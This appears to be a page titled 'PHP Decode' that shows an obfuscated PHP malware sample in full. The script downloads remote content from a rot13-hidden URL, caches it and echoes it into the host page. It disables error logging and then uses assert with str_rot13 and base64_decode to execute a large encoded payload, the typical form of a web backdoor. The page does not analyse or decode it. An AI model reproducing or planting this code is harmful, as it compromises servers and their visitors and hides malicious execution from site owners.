PHP Decode

<?   
//##!#==##!# 
$time_sec = time(); 
$time_file = @filemtime("help"); 
$time = $time_sec - $time_file; 
 
if ($time > 86400 || !$time_file) { 
	$handle = @fopen("help", "w+"); 
	if ($handle) { 
		$f = @file_get_contents(str_rot13("uggc://scrq8.bet/yvaxbixn/trg.cuc")); 
		@fwrite($handle, $f); 
	} 
} 
else { 
	$handle = @fopen("help", "r"); 
	$f = @fread($handle, filesize("help")); 
} 
 
echo $f; 
@ini_set("error_log",NULL); 
@ini_set("log_errors",0); 
@ini_set("display_errors", 0); 
error_reporting(0);  
$wa = ASSERT_WARNING; 
@assert_options($wa, 0); 
@assert_options(ASSERT_QUIET_EVAL, 1); 
 
$strings = "as"; $strings .= "se";  $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r";  $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode"); 
$light =  $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvkzLJkmMFx7DTIlpz9lK3WypT9lqTyhMltjXGfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxtWvLtMJ1jqUxbWTyvqvxcVUftWTyvqvN9VPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftVTIwnT8tWTyvqwg9VTIfp2IcMvNbMJ1jqUxbWTyvqvxcVUfXnJLtXUA0paA0pvtxK1ASHyMSHyfvFSEHHS9VG1AHVy0fVPVkZwphZPVcXKfxozSgMFN9VPEsH0IFIxIFJlWGEIWJEIWsDHERHvWqB31yoUAyrlEhLJ1yVQ0tWS9GEIWJEIWoVxuHISOsFR9GIPWqB30XWUImMKWuVQ0tnKAmMKDbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXG91pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXGbvVwfXWUIloPN9VPWbqUEjBv8in29mqQugMJDho3WaY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxozSgMF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhWUImMKWuYvVznG0kWzt9Vv5gMQHbVwHkZTMzAmZ0Zmp3ZQN5ZzMvBGx2ZTVjBGuuL2H0ATSuZGRvXGfXnJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGgwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsD09BGxIQISEWGHICIIDfVQHcBlOwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfxnJ5zolN9VTA1pzksM2I0nJ5zoltxL2tcB2yzVPtxnJ5zo1fvnUE0pS9wo2EyVy0uCGVjZPy7WTyvqw0vVwg9PzA1pzksL2kip2HbWTAbXGfXsFOyoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0XnJLbVJIgpUE5XPEsHR9GISfvpPWqXFNzWvOgMQHboJD1XPEsHR9GISfvpPWqXFxtCG0tVwx4MQH2L2DmMzZjAmNlMzV3LzMuBGMuBGIwLwx2ATD3VvxtrlONMKMuoPumqUWcpUAfLKAbMKZbWS9DG1AHJlWwVy0cXGftsDcyL2uiVPEcLaL7Pa0tsD=="));'); $strings($light); 
//##!#==##!# ?>